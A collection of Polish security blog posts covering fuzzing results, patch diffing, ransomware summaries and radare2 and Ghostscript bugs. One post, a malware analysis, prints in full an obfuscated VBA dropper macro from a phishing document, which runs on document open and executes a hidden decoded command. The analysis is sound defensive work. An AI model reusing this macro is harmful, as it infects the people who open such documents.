Security BSides Warsaw 2017

Tradycją staje się, że co roku występuję na Security Bsides Warsaw 🙂 Podczas tegorocznej opowiadałem o lessons learned i efektach projektu, który prowadzę już rok: fuzzowania różnych projektów open-source.

Jak w poprzednim roku, Cooper zapewnił świetny streaming i każdą nagrywaną sesję można obejrzeć na kanale YT wydarzenia.

Tutaj znajduje się moja prezentacja, natomiast poniżej możesz obejrzeć nagranie z mojej sesji:

Zaproszenie na Security BSides Warsaw 2017

Tradycją już jest, że każdej jesieni, w okolicach połowy października spotykają się ze sobą IT Sec junkies w przyciasnej sali konferencyjnej, warszawskiej knajpy Państwo Miasto – mowa oczywiście o kolejnej odsłonie najlepszej i darmowej konferencji entuzjastów bezpieczeństwa Security BSides Warsaw 🙂

W poprzednim roku opowiadałem o procesie fuzzowania za pomocą American Fuzzy Lop. Podczas tegorocznej edycji wydarzenia tematem mojej prezentacji będzie podsumowanie, trwającego już ponad rok, projektu fuzzowania rozwiązań open-source.

Skupię się nie tylko na technicznych aspektach samego procesu fuzzingu i wyciągniętych wnioskach, lecz również na współpracy z deweloperami oraz rozszerzeniu procesu typowego CI. Wisienką na torcie będą nietypowe problemy znalezione na przestrzeni roku.

Jestem również pewien, że moi koledzy z pracy: Maciek Kotowicz tematem “Podobieństwa i różnice czyli analiza malware’u dla leniwych” oraz Jarek JedynakJak źle użyć kryptografii” zrobią niezłe show 🙂

Zapraszam na nasze prezentacje (piątek 13.10.2017, od 13:30 do 16:30) 🙂

tcpdump 4.9.0 & 4.9.1 – 15 x CVE

Z racji okresu urlopowego i wakacji, niewiele działo się na blogu – zaległości zaczynam odrabiać tym wpisem 🙂

Na początku września została wydana wersja 4.9.2 popularnego narzędzia do przechwytywania pakietów tcpdump, łatająca ponad 85 podatności bezpieczeństwa.

Moim “łupem” w tej niemałej puli było 15 poniższych CVE:

Podatności od “drugiej” strony – Windows patch diffing

Deweloperzy systemu operacyjnego Windows w tym roku nie mają łatwego życia – sama “dziesiątka” od początku roku uzbierała ponad 150 CVE. Microsoft, swoim zwyczajem wydaje poprawki w drugi wtorek każdego miesiąca (słynne “patch tuesday”). Dzień ten wypadł akurat przedwczoraj – więc stąd wpis nieco odmienny od głównej tematyki bloga 😉

Biuletyny bezpieczeństwa często bardzo enigmatycznie opisują co było zepsute i co zostało naprawione – pozostaje liczyć na writeupy badaczy (głównie Google Project Zero) i czasami Microsoft (tutaj drugi post).

Wiedza ta może się przydać nie tylko do pisania exploitów i identyfikacji słabości softu, lecz również do patchowania starszych systemów (polecam zapoznać się z bardzo fajną inicjatywą o nazwie 0patch).

Od czego zacząć i co dalej?

Od czekania na patch tuesday 😉 Kiedy już pojawią się poprawki możemy wytypować interesujący nas błąd i pobrać do niego poprawkę (w przypadku Windows 10 nie jest to takie proste – zazwyczaj wydawane są tzw. Cumulative Update, które zawierają poprawki dla wielu różnych luk oraz nowe funkcjonalności).

Warto trzymać się zasady, że patche reversujemy na najstarszej możliwej wersji systemu – będzie po prostu łatwiej 🙂

Wszelkie kroki będę pokazywał z wykorzystaniem błędu CVE-2017-8463 (na Windows 10) poprawionego w ostatnim cyklu poprawek.

1. Pobieramy poprawkę z Windows Update Catalog. Możemy spróbować wypakować ją (format MSU / CAB) ręcznie za pomocą polecenia:

expand -F:* <msu/cab> <dest_folder>

2. Jest to bardzo niewygodne w przypadku Cumulative Update – w zamian polecam skrypt PatchExtact Grega Linaresa‏ (na wszelki wypadek: mój mirror).

Opdalenie jest bardzo proste i sprowadza się jedynie do podania ścieżek:

Powershell -ExecutionPolicy Bypass -File .\PatchExtract.ps1 -Patch .\windows10.0-kb4025338-x64_c99d7772ad0f6f3340a438d2e82eba7e5c3b2fca.msu -Path C:\Users\XYZ\Desktop\PATCH_TUESDAY_120717

3. Po około 15-20 minutach skrypt posprząta po sobie i uporządkuje nam pliki w strukturze katalogów jak na screenie:

Ze wszystkich folderów interesują nas tylko foldery: x86 oraz x64 – w nich będziemy poszukiwać swieżo poprawionych plików:

4. Wyszukujemy folder z interesującą binarką – w naszym wypadku poprawionym plikiem explorer.exe. Dla własnej wygody polecam zmienić nazwę pliku i przekopiować niezaktualizowany plik w inne miejsce.

5. Instalujemy Zynamic BinDiff (jeżeli jest za ciężki to polecam Diaphorę) i ładujemy obydwa pliki do IDA Pro, celem stworzenia baz IDB, potrzebnych do porównania binarnego.

W tym miejscu warto napisać o dwóch rzeczach:

  1. Polecam pobierać symbole za pomocą PDBDownloader (bardzo ułatwia pracę!)
  2. Należy przygotować się na pracę bez symboli i z dużą ilością “śmieci” które będa zaciemniać obraz sytuacji

6. Skrót klawiszowy CTRL+6 wyzwoli uruchomienie okienka BinDiffa z którego wybieramy opcje: Diff Database i wskazujemy bazę IDA niepatchowanej binarki

7. Po około kilkunastu sekundach pojawią się wyniki analizy – najbardziej interesującą zakładką z perspektywy analizy jest Matched Functions (zaznaczona na pomarańczowo). Najszybszym podejściem jest rozpoczęcie pracy od dwóch pierwszych kolumn pokazujących stopień podobieństwa funkcji oraz prawdopodobieństwo z jakim BinDiff jest w stanie stwierdzić, że jest to odpowiednik tej samej funkcji z drugiego pliku.

W moim przypadku najwygodniejsze jest posortowanie funkcji względem kolumny confidence (zaznaczona na pomarańczowo) i wyszukanie funkcji z jak najwyższym współczynnikiem confidence i oczywiście jak najniższym similarity.

8. Aby podejrzeć poczynione zmiany należy kliknąć prawym przyciskiem myszy na interesującej pozycji i wybrać opcję View Flowgraphs (lub CTRL+E).

Legenda grafu: kolor zielony – pozycje niezmienione; kolor czerwony – pozycje usunięte; kolor szary – pozycje dodane

To by było na tyle szybkiego wprowadzenia do tematu 🙂

Dla zainteresowanych czytelników polecam prezentację “Microsoft Patch Analysis for Exploitation” Stephena Simsa (slajdy).

Petya Ransomware

Zachęcam do zapoznania sie z moim wpisem na blogu CERT Polska o wczorajszym ataku ransomware, który sparaliżował wiele instytucji na Ukrainie oraz w Polsce – Petya.

Zajawka:

Duet Petya & Mischa jest na rynku ransomware od końcówki 2015 roku. Po sukcesie ataku WannaCry, ostatni wariant został wzbogacony o funkcje propagacji wewnątrz sieci za pomocą exploita EternalBlue, PsExec oraz Windows Management Instrumentation Command-line (WMIC).

Wczorajsza kampania uderzyła przede wszystkim w sieci ukraińskie (dostawca energii Ukrenergo, system monitoringu promieniowania elektrowni w Czarnobylu oraz producent samolotów Antonov) oraz rosyjskie.

W przypadku Polski otrzymaliśmy tylko jedno potwierdzone zgłoszenie, lecz innymi kanałami udało się ustalić kilka zainfekowanych firm.

Całość wpisu 🙂

 

Pożyczony & zapomniany kod – dlaczego tego nie robić?

Krótka historyjka

Mimo, że tytuł posta jest dosyć oczywisty – porusza on całkiem poważny problem wielu projektów open-source i nie tylko.

Używamy cudzy kod, rozwijamy własny projekt, generalnie wszystko jest całkiem okej. Po pewnym czasie skupiamy się na funkcjonalnościach i problemach doraźnych, wiedząc, że “pożyczony” kod sobie działa i spełnia nasze oczekiwania. Mija nawet kilka lat, kod sobie dalej działa a priorytety projektu (i jego rozmiar) znacząco, lub nie, zostały zmienione i prawdopodobnie zmierzamy ku całkiem innemu celowi, niż pierwotnie zakładaliśmy.

Dlaczego zaczynam tak “na około”? Dlatego, że ta historia, całkiem niedawno dotknęła projekt radare2 (pisałem o nim m.in. tutaj). Efekt: cztery błędy związane tylko i wyłącznie z pożyczonym kodem z projektu GRUB. Kod ma ponad czteroletnią historię (okolice listopada 2013) i jest załatany od jakiegoś czasu w oficjalnym repozytorium projektu.

Morał z historyjki, w czterech częściach

Lista wyżej przytoczonych błędów w kolejności od “dotkliwości” problemu:

#1. Stack buffer underflow

radare2 Git HEAD: ad764839b20818d629131d4e07bda0038f9d747f

ASAN:

==32384==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffd57d028f8 at pc 0x7fc9c5b6ac47 bp 0x7ffd57d01c40 sp 0x7ffd57d01c38
WRITE of size 16 at 0x7ffd57d028f8 thread T0
    #0 0x7fc9c5b6ac46 in grub_memmove XYZ/radare2/shlr/grub/kern/misc.c:98:7
    #1 0x7fc9c5b67800 in grub_disk_read XYZ/radare2/shlr/grub/kern/disk.c:488:3
    #2 0x7fc9c5b68268 in grub_disk_read_ex XYZ/radare2/shlr/grub/kern/disk.c:563:12
    #3 0x7fc9c5b0754d in grub_fshelp_read_file XYZ/radare2/shlr/grub/fs/fshelp.c:333:4
    #4 0x7fc9c5b1134d in grub_ext2_read_file XYZ/radare2/shlr/grub/fs/ext2.c:504:9
    #5 0x7fc9c5b1134d in grub_ext2_iterate_dir XYZ/radare2/shlr/grub/fs/ext2.c:690
    #6 0x7fc9c5b0faf2 in grub_ext2_dir XYZ/radare2/shlr/grub/fs/ext2.c:876:3
    #7 0x7fc9c5af0c58 in ext2__mount XYZ/radare2/libr/fs/p/fs_grub_base.c:74:8
    #8 0x7fc9c5afbeaa in r_fs_mount XYZ/radare2/libr/fs/fs.c:151:7
    #9 0x7fc9c8f20dfb in cmd_mount XYZ/radare2/libr/core/./cmd_mount.c:49:9
    #10 0x7fc9c90e76af in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:226:10
    #11 0x7fc9c8fd5811 in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:2191:12
    #12 0x7fc9c8f1d5b7 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1395:9
    #13 0x7fc9c8f16d24 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2799:9
    #14 0x7fc9c8f0183f in r_core_cmdf XYZ/radare2/libr/core/cmd.c:2957:8
    #15 0x7fc9c90c1752 in bin_info XYZ/radare2/libr/core/cbin.c:621:4
    #16 0x7fc9c90c1752 in r_core_bin_info XYZ/radare2/libr/core/cbin.c:2870
    #17 0x7fc9c90b1e41 in r_core_bin_set_env XYZ/radare2/libr/core/cbin.c:115:3
    #18 0x7fc9c903d974 in r_core_file_do_load_for_io_plugin XYZ/radare2/libr/core/file.c:434:2
    #19 0x7fc9c903d974 in r_core_bin_load XYZ/radare2/libr/core/file.c:567
    #20 0x555f8a113f6b in main XYZ/radare2/binr/radare2/radare2.c:952:14
    #21 0x7fc9c1bc782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #22 0x555f8a043f38 in _start (/usr/local/bin/radare2+0x20f38)

ASAN:DEADLYSIGNAL
AddressSanitizer: nested bug in the same thread, aborting

GitHub Issue #7683

Commit naprawiający

CVE: CVE-2017-9949

#2. Excessive stack usage (zmienna przepełniająca ramkę stosu)

radare2 Git HEAD: ba25be4934ecd65b71170f7381655325157bde09

ASAN:

==13184==ERROR: AddressSanitizer: stack-overflow on address 0x7ffcef7dce98 (pc 0x7f9c7499cecc bp 0x7ffcf37dcf70 sp 0x7ffcef7dcea0 T0)
    #0 0x7f9c7499cecb in grub_ext2_read_block XYZ/radare2/shlr/grub/fs/ext2.c:389:4
    #1 0x7f9c74991326 in grub_fshelp_read_file XYZ/radare2/shlr/grub/fs/fshelp.c:305:15
    #2 0x7f9c7499b116 in grub_ext2_read_file XYZ/radare2/shlr/grub/fs/ext2.c:504:9
    #3 0x7f9c7499b116 in grub_ext2_iterate_dir XYZ/radare2/shlr/grub/fs/ext2.c:672
    #4 0x7f9c749999a1 in grub_ext2_dir XYZ/radare2/shlr/grub/fs/ext2.c:882:3
    #5 0x7f9c7497ae95 in ext2__mount XYZ/radare2/libr/fs/p/fs_grub_base.c:74:8
    #6 0x7f9c74985fc4 in r_fs_mount XYZ/radare2/libr/fs/fs.c:151:7
    #7 0x7f9c77d7537d in cmd_mount XYZ/radare2/libr/core/./cmd_mount.c:49:9
    #8 0x7f9c77f3a25c in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:226:10
    #9 0x7f9c77e28ae1 in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:2156:12
    #10 0x7f9c77d70d1e in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1360:9
    #11 0x7f9c77d6a626 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2764:9
    #12 0x7f9c77d555ad in r_core_cmdf XYZ/radare2/libr/core/cmd.c:2922:8
    #13 0x7f9c77f142d7 in bin_info XYZ/radare2/libr/core/cbin.c:621:4
    #14 0x7f9c77f142d7 in r_core_bin_info XYZ/radare2/libr/core/cbin.c:2873
    #15 0x7f9c77f04fd0 in r_core_bin_set_env XYZ/radare2/libr/core/cbin.c:115:3
    #16 0x7f9c77e8e263 in r_core_file_do_load_for_io_plugin XYZ/radare2/libr/core/file.c:434:2
    #17 0x7f9c77e8e263 in r_core_bin_load XYZ/radare2/libr/core/file.c:567
    #18 0x556a34e7013d in main XYZ/radare2/binr/radare2/radare2.c:952:14
    #19 0x7f9c70671510 in __libc_start_main (/usr/lib/libc.so.6+0x20510)
    #20 0x556a34d7ce29 in _start (/usr/local/bin/radare2+0x20e29)

SUMMARY: AddressSanitizer: stack-overflow XYZ/radare2/shlr/grub/fs/ext2.c:389:4 in grub_ext2_read_block
==13184==ABORTING

GitHub Issue #7723

Commit naprawiający

CVE: CVE-2017-9763

#3. FPE (dzielenie przez zero)

radare2 Git HEAD: 90ffb5463df15326cd8261da99b85597d4eb6b3b

==10375==ERROR: AddressSanitizer: FPE on unknown address 0x7fb2f4af4726 (pc 0x7fb2f4af4726 bp 0x7fff41d52850 sp 0x7fff41d52720 T0)
#0 0x7fb2f4af4725 in grub_ext2_read_inode XYZ/radare2/shlr/grub/fs/ext2.c:525:29
#1 0x7fb2f4af2ce4 in grub_ext2_mount XYZ/radare2/shlr/grub/fs/ext2.c:593:3
#2 0x7fb2f4af19ac in grub_ext2_dir XYZ/radare2/shlr/grub/fs/ext2.c:863:10
#3 0x7fb2f4ad2c58 in ext2__mount XYZ/radare2/libr/fs/p/fs_grub_base.c:74:8
#4 0x7fb2f4addeaa in r_fs_mount XYZ/radare2/libr/fs/fs.c:151:7
#5 0x7fb2f7ef996b in cmd_mount XYZ/radare2/libr/core/./cmd_mount.c:49:9
#6 0x7fb2f80be7df in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:226:10
#7 0x7fb2f7faddeb in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:2178:12
#8 0x7fb2f7ef6127 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1368:9
#9 0x7fb2f7eef8b9 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2786:9
#10 0x7fb2f7eda74f in r_core_cmdf XYZ/radare2/libr/core/cmd.c:2942:8
#11 0x7fb2f8098e42 in bin_info XYZ/radare2/libr/core/cbin.c:621:4
#12 0x7fb2f8098e42 in r_core_bin_info XYZ/radare2/libr/core/cbin.c:2870
#13 0x7fb2f8089531 in r_core_bin_set_env XYZ/radare2/libr/core/cbin.c:115:3
#14 0x7fb2f8015064 in r_core_file_do_load_for_io_plugin XYZ/radare2/libr/core/file.c:434:2
#15 0x7fb2f8015064 in r_core_bin_load XYZ/radare2/libr/core/file.c:567
#16 0x55e7cf695f6b in main XYZ/radare2/binr/radare2/radare2.c:952:14
#17 0x7fb2f0bae82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#18 0x55e7cf5c5f38 in _start (/usr/local/bin/radare2+0x20f38)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE XYZ/radare2/shlr/grub/fs/ext2.c:525:29 in grub_ext2_read_inode
==10375==ABORTING

GitHub Issue #7650

Commit naprawiający

CVE: N/A

#4. FPE (modulo przez zero)

radare2 Git HEAD: 4ae632133ed34c7f80949a8a705635608a4ac45d

==1943==ERROR: AddressSanitizer: FPE on unknown address 0x7f5778308fd5 (pc 0x7f5778308fd5 bp 0x7fff9b7706a0 sp 0x7fff9b7705a0 T0)
#0 0x7f5778308fd4 in grub_ext2_read_inode XYZ/radare2/shlr/grub/fs/ext2.c:530:5
#1 0x7f5778307eb8 in grub_ext2_mount XYZ/radare2/shlr/grub/fs/ext2.c:582:3
#2 0x7f577830718f in grub_ext2_dir XYZ/radare2/shlr/grub/fs/ext2.c:848:10
#3 0x7f57782f55d8 in ext2__mount XYZ/radare2/libr/fs/p/fs_grub_base.c:74:8
#4 0x7f57782fd357 in r_fs_mount XYZ/radare2/libr/fs/fs.c:141:7
#5 0x7f577af9af12 in cmd_mount XYZ/radare2/libr/core/./cmd_mount.c:57:9
#6 0x7f577b0801fc in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:213:10
#7 0x7f577afccbea in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:2039:16
#8 0x7f577af98f67 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1332:9
#9 0x7f577af95f85 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2595:9
#10 0x7f577af8b538 in r_core_cmdf XYZ/radare2/libr/core/cmd.c:2735:8
#11 0x7f577b069581 in bin_info XYZ/radare2/libr/core/cbin.c:593:4
#12 0x7f577b066f0e in r_core_bin_info XYZ/radare2/libr/core/cbin.c:2610:45
#13 0x7f577b066d3d in r_core_bin_set_env XYZ/radare2/libr/core/cbin.c:109:3
#14 0x7f577b02d645 in r_core_file_do_load_for_io_plugin XYZ/radare2/libr/core/file.c:409:2
#15 0x7f577b02b8ef in r_core_bin_load XYZ/radare2/libr/core/file.c:527:4
#16 0x5586a8089593 in main XYZ/radare2/binr/radare2/radare2.c:822:14
#17 0x7f57748fe82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#18 0x5586a7fbbe58 in _start (/usr/local/bin/radare2+0x20e58)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE XYZ/radare2/shlr/grub/fs/ext2.c:530:5 in grub_ext2_read_inode
==1943==ABORTING

GitHub Issue #6327

Commit naprawiający

CVE: N/A

Podwójnie “złośliwe” makro VBA

Nieco przydługi wstęp

Przyglądając się kampaniom mailingowym rozsiewającym złośliwe oprogramowanie, z dużą dozą pewności można stwierdzić, że w ponad 70% przypadków złośliwym załącznikiem jest plik pakietu Office – Word lub Excel zawierający makro.

Na przestrzeni ostatnich miesięcy aktor określany jako Thomas jest “głównym graczem” na polskim rynku takiego mailingu – kampanie Play, Alior Bank czy Paczki w RUCHu to tylko wycinek z wykorzystywanych przez niego scenariuszy. Poza scenariuszami mailingu ich autor dba również o techniczną stronę przedsięwzięcia – dokumenty zawierają zaciemnione lub zahasłowane makra, które mają chronić przed analizą lub budową sygnatur (w tym miejscu pominę skuteczność tych metod 😉 ).

Niestety (-stety) narzędzia wykorzystywane przez Thomasa nie są doskonałe – jeden z obfuskatorów Visual Basic w taki sposób zaciemnił kod makra, że przy jego uruchomieniu MS Word 2013 / 2016 ulega awarii z powodu odwołania do nieistniejącego obiektu w pamięci, czyli popularnego błędu null-pointer-dereference.

Screenshot z otwartego pliku w MS Word

Krótka analiza błędu

Załącznik maila (Zamówienie i płatność.doc, SHA1: a7d3025af58ce47189c5b51d36ab52a284642849) powoduje awarię we współdzielonej bibliotece VBE7.dll. Plik ten jest wykorzystywany we wszystkich programach pakietu Office 2013 / 2016 (we wcześniejszych prawdopodobnie też, lecz niestety nie miałem okazji przetestować 😉 ).

W podatnej funkcji (pod adresem 0x18016421C) deweloper biblioteki zapomniał o walidacji struktury przekazywanej do niej [funkcji] w argumencie. Niewłaściwa lub pusta wartość powoduje odwołanie do nieistniejącego miejsca w pamięci (adres w RDI + 0x28h), co widać wyraźnie na poniższym listingu kodu funkcji. Skutkuje to oczywiście awarią całego programu MS Word.

0:000> r
rax=0000000000000000 rbx=0000000000000000 rcx=00007ffe632758b0
rdx=0000000000000000 rsi=0000000000000001 rdi=0000000000000000
rip=00007ffe62f8f273 rsp=000000ed22f49350 rbp=000000ed22f49370
 r8=0000000000000001  r9=0000000000000000 r10=000000ed2f240150
r11=00007ffe632689f8 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

0:000> u @$scopeip
VBE7!DllVbeTerm+0x137c3:
00007ffe`62f8f273 488b4f28        mov     rcx,qword ptr [rdi+28h]
00007ffe`62f8f277 e864e9f3ff      call    VBE7!rtcDoEvents+0x8fc (00007ffe`62ecdbe0)
00007ffe`62f8f27c 85c0            test    eax,eax
00007ffe`62f8f27e 0f8498d60a00    je      VBE7!rtcVarFromFormatVar+0x1010c (00007ffe`6303c91c)
00007ffe`62f8f284 85f6            test    esi,esi
00007ffe`62f8f286 0f85bad70a00    jne     VBE7!rtcVarFromFormatVar+0x10236 (00007ffe`6303ca46)
00007ffe`62f8f28c 488bcf          mov     rcx,rdi
00007ffe`62f8f28f e884e9f3ff      call    VBE7!rtcDoEvents+0x934 (00007ffe`62ecdc18)

Stacktrace


00 VBE7!DllVbeTerm+0x137c3
01 VBE7!DllVbeTerm+0xbe04e
02 VBE7!rtcSetCurrentCalendar+0x2dd5f
03 VBE7!rtcInputCharCountVar+0x827a
04 VBE7!rtcInputCharCountVar+0x99f6
05 VBE7!rtcInputCharCountVar+0x8425
06 VBE7!rtcGetHostLCID+0x2a4b
07 VBE7!DllVbeTerm+0x61d71
08 VBE7!GetLongPathNameA+0xc7de
09 VBE7!DllVbeTerm+0x46eaa
0a VBE7!VarPtr+0x416ba
0b VBE7!VarPtr+0x4196b
0c oleaut32!LoadTypeLib+0x33e
0d oleaut32!DispCallFunc+0x26e
0e VBE7!VarPtr+0x1d27a
0f VBE7!VarPtr+0x1b26b
10 VBE7!rtcEndOfFile+0x6443
11 VBE7!rtcEndOfFile+0x6322
12 wwlib!DllCanUnloadNow+0x251a58
13 wwlib!DllCanUnloadNow+0x250d55
14 wwlib!DllCanUnloadNow+0x1354a1
15 wwlib!PTLS7::LsDestroyContext+0x25c726
16 wwlib!DllCanUnloadNow+0x2ef6a
17 wwlib!PTLS7::LsDestroyContext+0x3b39bd
18 wwlib!PTLS7::LsNotReached+0x79be2
19 wwlib!PTLS7::FsDestroyPageBreakRecord+0x246b
1a wwlib!PTLS7::FsDestroyPageBreakRecord+0x22be
1b mso99Lwin32client+0xddb7d
1c mso99Lwin32client+0xddac9
1d mso99Lwin32client+0x47873
1e mso99Lwin32client+0x45f09
1f mso99Lwin32client+0x202da
20 mso99Lwin32client+0x127851
21 mso40uiwin32client!Ordinal177+0x2d4
22 USER32!DispatchMessageW+0x154
23 USER32!ScrollDC+0x1f7
24 wwlib!PTLS7::LsNotReached+0x7bd49
25 wwlib!FMain+0x61
26 WINWORD+0x1230
27 WINWORD+0x1519
28 KERNEL32!BaseThreadInitThunk+0xd
29 ntdll!RtlUserThreadStart+0x1d

Jak rozwiązywać podobne problemy?

Podczas analizy makr (np. pod kątem droppowania malware’u) lub awarii jakie powodują, warto zapoznać się z narzędziem olevba, częścią bardzo użytecznego pakietu oletools.

Poniżej zrzut makr ze złośliwego dokumentu (wraz z fajnym wyjaśnieniem co może być potencjalnie niebezpieczne):

===============================================================================
FILE: Zamówienie i płatność.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: Zamówienie i płatność.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub DocUment_OpEn()
If ActiveDocument.Variables("zBItWM").Value <> "tomas" Then
FJQHUgQozaiPBvJ
ActiveDocument.Variables("zBItWM").Value = "tomas"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub

-------------------------------------------------------------------------------
VBA MACRO avBsOWK.bin 
in file: Zamówienie i płatność.doc - OLE stream: u'Macros/VBA/avBsOWK'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Function QjrTnnWOcy(wNegMNijCu As Variant, aDdxKnvZPQ As Integer)
Dim BzxQRdyOYL, qDaHzkRvOe As String, EuuPpMnYah, imwtnySfgV
qDaHzkRvOe = ActiveDocument.Variables("zBItWM").Value()
BzxQRdyOYL = ""
EuuPpMnYah = 1
While EuuPpMnYah < UBound(wNegMNijCu) + 2
imwtnySfgV = EuuPpMnYah Mod Len(qDaHzkRvOe): If imwtnySfgV = 0 Then imwtnySfgV = Len(qDaHzkRvOe)
BzxQRdyOYL = BzxQRdyOYL + Chr(Asc(Mid(qDaHzkRvOe, imwtnySfgV + aDdxKnvZPQ, 1)) Xor CInt(wNegMNijCu(EuuPpMnYah - 1)))
EuuPpMnYah = EuuPpMnYah + 1
Wend
QjrTnnWOcy = BzxQRdyOYL
End Function
Function lbf()
lbf = Array(Minute(Now), Minute(Now), Minute(Now), QjrTnnWOcy(Array(0, 30, 46), 9), Minute(Now))
End Function
Function im()
im = Array(QjrTnnWOcy(Array(126, 115, 8), 204), Minute(Now))
End Function
Function fdf()
fdf = Array(Minute(Now), Minute(Now), QjrTnnWOcy(Array(32, 69, 110, 14, 79, 91), 2))
End Function
Function jojo()
gog = QjrTnnWOcy(Array(111, 98, 42, 23, 60, 65, 106, 56, 13, 49, 104, 62, 55, 117, 16, 125, 25, 62, 45, 35, 59, _
55, 111, 28, 36, 110, 98, 2, 61, 40, 57, 21, 97, 36, 28, 10, 61, 40, 2, 52, 80, _
107, 122, 18, 15, 45, 103, 61, 59, 54, 18, 33, 54, 4, 7, 0, 58, 81, 37, 61, 41, _
59, 64, 49, 63, 104, 91, 32, 25, 42, 65, 111, 53, 12, 52, 114, 7, 57, 40, 15, 26, _
20, 4, 32, 102, 127, 14, 10, 21, 45, 22, 31, 57, 61, 24, 10, 25, 28, 14, 49, 15, _
61, 29, 3, 32, 126, 50, 117, 48, 39, 58, 65, 52, 85, 30, 23, 33, 41, 27, 9, 25, _
30, 71, 56, 21, 67, 11, 30, 67, 18, 2, 93, 84, 121, 19, 58, 63, 30, 111, 18, 109, _
50, 7, 52, 84, 51, 31, 44, 116, 127, 11, 41, 41, 86, 92, 53, 82, 20, 26, 4, 42, _
45, 109, 89, 23, 104, 22, 62, 26, 42, 41, 106, 62, 49, 57, 65, 48, 80, 16, 50, 29, _
19, 34, 19, 23, 20, 119, 103, 48, 1, 11, 76), 12)
g1 = QjrTnnWOcy(Array(23, 4, 38, 96, 6, 46, 21, 11, 44, 53, 83, 33, 41, 119, 10, 50, 63, 54, 39, 2, 72, _
98, 36, 62, 42, 44, 23, 7, 1, 33, 43, 59, 23, 101, 17, 57, 0, 104, 24, 57, 7, _
61, 106, 109, 41, 4, 106, 108, 5, 41, 35, 68, 49, 83), 207)
gog3 = QjrTnnWOcy(Array(108), 0)
jojo = g1 & gog & gog3
End Function
Sub FJQHUgQozaiPBvJ()
ymus = VarType(Application.Build)
If ymus = 8 Then
fropi = Array(lbf()(3), im()(0), fdf()(2))
df = Join(fropi, "") & jojo
Dim retv As Variant
retv = Shell(df, vbHide)
End If
End Sub


+------------+---------------+-----------------------------------------+
| Type       | Keyword       | Description                             |
+------------+---------------+-----------------------------------------+
| AutoExec   | DocUment_OpEn | Runs when the Word or Publisher         |
|            |               | document is opened                      |
| Suspicious | Chr           | May attempt to obfuscate specific       |
|            |               | strings (use option --deobf to          |
|            |               | deobfuscate)                            |
| Suspicious | Xor           | May attempt to obfuscate specific       |
|            |               | strings (use option --deobf to          |
|            |               | deobfuscate)                            |
| Suspicious | Shell         | May run an executable file or a system  |
|            |               | command                                 |
| Suspicious | vbHide        | May run an executable file or a system  |
|            |               | command                                 |
+------------+---------------+-----------------------------------------+

WannaCry Ransomware

Zachęcam do zapoznania sie z moim wpisem na blogu CERT Polska o ransomware, który sparaliżował przed ostatnim weekendem (13-14 maja) masę instytucji w ponad 100 krajach – WannaCry.

Zajawka:

WannaCry (inne nazwy WCry, WannaCrypt, WanaCrypt0r) jest bardzo skutecznym w swoim działaniu złośliwym oprogramowaniem typu ransomware, które 12 maja swoim zasięgiem objęło ponad 100 krajów i 200 tysięcy komputerów z systemem operacyjnym Windows.

Ofiarami padły takie instytucje jak: brytyjska służba zdrowia, Nissan, Telefonica, FedEx, rosyjskie banki i koleje państwowe, indyjskie linie lotnicze Shaheen Airlines oraz włoskie uniwersytety. Kampania WannaCry mimo ogromnego zasięgu nie odniosła sukcesu komercyjnego – zdecydowało się zapłacić około 200 osób, a całkowita suma wpłat wynosi około 50 tysięcy dolarów.

Całość wpisu 🙂

[CVE-2017-6196] Ghostscript 9.21 – Use-after-free

Słowo wstępu

Przez prawie 1,5 miesiąca nie pojawił się na blogu żaden post dt. podatności – zdecydowanie nadszedł czas, aby to zmienić.

W tym poście opiszę bardzo ciekawe use-after-free w projekcie Ghostscript – interpreterze języka PostScript oraz plików PDF.

Oprogramowanie to jest często wykorzystywane jako core generatorów plików PDF lub demon zajmujący się obsługą plików rastrowych w drukarkach komputerowych. Często można z niego korzystać nawet nie wiedząc o jego istnieniu 🙂

Opis podatności

Luka występowała w wersji 9.21 (ostatnia stabilna, Git HEAD: 4d2b25f06c25e6e3e2b1bf319481a7442d42af8a).

Clue problemu było zarządzanie cyklem życia “obiektu” enumeratora używanego w funkcjach gx_begin_image1(), gx_begin_image4() oraz gx_image_enum_begin() (funkcja ta była wywoływana przez dwie pierwsze).

Pamięć dla enumetora alokowana była w funkcjach gx_begin_image[1,4]() i zwalniana w momencie zgłoszenia błędu przez gx_image_enum_begin().

Do tego momentu wszystko jest okej. Jednak ktoś wpadł na pomysł aby również w funkcji gx_image_enum_begin() zwalniać pamięć enumeratora przy okazji wystąpenia błędu.

Dodatkowo żeby dolać oliwy do ognia: nie zawsze pamięć w funkcji gx_image_enum_begin() była zwalniana. Z racji rozmiaru funkcji (prawie 750 LOC), kończy ona swoje wykonywanie w 9 miejscach – tylko 4 “wyjścia z funkcji” kończyły się zwolnieniem pamięci.

